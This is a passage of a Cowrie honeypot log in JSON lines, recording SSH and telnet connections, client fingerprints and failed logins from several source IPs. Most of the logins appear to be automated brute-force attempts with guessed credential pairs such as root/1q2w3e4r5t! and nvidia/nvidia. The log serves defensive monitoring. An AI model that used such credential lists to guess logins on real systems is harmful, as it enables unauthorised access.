{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38318,"dst_ip":"10.17.0.5","dst_port":23,"session":"58611135b854","protocol":"telnet","message":"New connection: 152.42.224.71:38318 (10.17.0.5:23) [session: 58611135b854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:01.538140Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:01.830823Z","src_ip":"31.40.204.166","session":"014be06bbbb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37160,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e2e1aedc4a","protocol":"telnet","message":"New connection: 152.42.224.71:37160 (10.17.0.5:23) [session: 18e2e1aedc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:06.120585Z"}
{"eventid":"cowrie.session.closed","duration":48.866050481796265,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:11.019713Z","src_ip":"152.42.224.71","session":"6ac864ffeda5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":60082,"dst_ip":"10.17.0.5","dst_port":22,"session":"06f4f1333d2b","protocol":"ssh","message":"New connection: 62.133.63.178:60082 (10.17.0.5:22) [session: 06f4f1333d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:11.048018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:11.052795Z","src_ip":"62.133.63.178","session":"06f4f1333d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:11.176245Z","src_ip":"62.133.63.178","session":"06f4f1333d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t!","message":"login attempt [root/1q2w3e4r5t!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:11.546983Z","src_ip":"62.133.63.178","session":"06f4f1333d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44090,"dst_ip":"159.203.135.109","dst_port":22,"session":"783ef4c8e34e","protocol":"ssh","message":"New connection: 31.40.204.166:44090 (159.203.135.109:22) [session: 783ef4c8e34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:12.524769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:12.530570Z","src_ip":"31.40.204.166","session":"783ef4c8e34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:12.672977Z","src_ip":"62.133.63.178","session":"06f4f1333d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:12.694762Z","src_ip":"31.40.204.166","session":"783ef4c8e34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:13.187787Z","src_ip":"31.40.204.166","session":"783ef4c8e34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:14.320985Z","src_ip":"31.40.204.166","session":"783ef4c8e34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37162,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f9b08cf84e3","protocol":"telnet","message":"New connection: 152.42.224.71:37162 (10.17.0.5:23) [session: 0f9b08cf84e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:15.617846Z"}
{"eventid":"cowrie.session.closed","duration":52.21463203430176,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:20.359900Z","src_ip":"152.42.224.71","session":"7961da8da10c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40320,"dst_ip":"159.203.135.109","dst_port":22,"session":"304f45f64d33","protocol":"ssh","message":"New connection: 31.40.204.166:40320 (159.203.135.109:22) [session: 304f45f64d33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.281771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.287016Z","src_ip":"31.40.204.166","session":"304f45f64d33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.415635Z","src_ip":"31.40.204.166","session":"304f45f64d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":23278,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a8a219d1bcc","protocol":"ssh","message":"New connection: 38.93.206.2:23278 (10.17.0.5:22) [session: 3a8a219d1bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.625310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.632889Z","src_ip":"38.93.206.2","session":"3a8a219d1bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.689036Z","src_ip":"38.93.206.2","session":"3a8a219d1bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"012345","message":"login attempt [root/012345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.872741Z","src_ip":"38.93.206.2","session":"3a8a219d1bcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:23.919746Z","src_ip":"31.40.204.166","session":"304f45f64d33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:24.982413Z","src_ip":"38.93.206.2","session":"3a8a219d1bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:25.304290Z","src_ip":"31.40.204.166","session":"304f45f64d33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35760,"dst_ip":"10.17.0.5","dst_port":23,"session":"8abeeaf26535","protocol":"telnet","message":"New connection: 152.42.224.71:35760 (10.17.0.5:23) [session: 8abeeaf26535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:25.414406Z"}
{"eventid":"cowrie.session.closed","duration":24.480867862701416,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:26.018894Z","src_ip":"152.42.224.71","session":"58611135b854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":34606,"dst_ip":"159.203.135.109","dst_port":22,"session":"b018a09bead5","protocol":"ssh","message":"New connection: 185.236.22.41:34606 (159.203.135.109:22) [session: b018a09bead5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:33.531559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:33.651671Z","src_ip":"185.236.22.41","session":"b018a09bead5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:33.665093Z","src_ip":"185.236.22.41","session":"b018a09bead5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ytngfhjkz","message":"login attempt [root/ytngfhjkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:34.168053Z","src_ip":"185.236.22.41","session":"b018a09bead5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":41300,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b22a1e2259d","protocol":"ssh","message":"New connection: 31.40.204.166:41300 (159.203.135.109:22) [session: 0b22a1e2259d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:34.737428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:34.742429Z","src_ip":"31.40.204.166","session":"0b22a1e2259d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:34.901686Z","src_ip":"31.40.204.166","session":"0b22a1e2259d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:35.288594Z","src_ip":"185.236.22.41","session":"b018a09bead5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123","message":"login attempt [ftpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:35.587433Z","src_ip":"31.40.204.166","session":"0b22a1e2259d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35752,"dst_ip":"10.17.0.5","dst_port":23,"session":"6633ba56b29f","protocol":"telnet","message":"New connection: 152.42.224.71:35752 (10.17.0.5:23) [session: 6633ba56b29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.116101Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":50021,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4dda35e594f","protocol":"ssh","message":"New connection: 152.42.212.128:50021 (10.17.0.5:22) [session: c4dda35e594f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.335049Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.340801Z","src_ip":"152.42.212.128","session":"c4dda35e594f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.344740Z","src_ip":"152.42.212.128","session":"c4dda35e594f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":84.13210582733154,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.642153Z","src_ip":"152.42.224.71","session":"095107fe0167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:36.717022Z","src_ip":"31.40.204.166","session":"0b22a1e2259d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35758,"dst_ip":"10.17.0.5","dst_port":23,"session":"281bc9626197","protocol":"telnet","message":"New connection: 152.42.224.71:35758 (10.17.0.5:23) [session: 281bc9626197]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:37.130608Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35774,"dst_ip":"10.17.0.5","dst_port":23,"session":"71cb1a815dee","protocol":"telnet","message":"New connection: 152.42.224.71:35774 (10.17.0.5:23) [session: 71cb1a815dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:38.520241Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35788,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee7004e9cea","protocol":"telnet","message":"New connection: 152.42.224.71:35788 (10.17.0.5:23) [session: 2ee7004e9cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:43.322536Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37742,"dst_ip":"159.203.135.109","dst_port":22,"session":"32540879efb0","protocol":"ssh","message":"New connection: 31.40.204.166:37742 (159.203.135.109:22) [session: 32540879efb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:45.788043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:45.914052Z","src_ip":"31.40.204.166","session":"32540879efb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 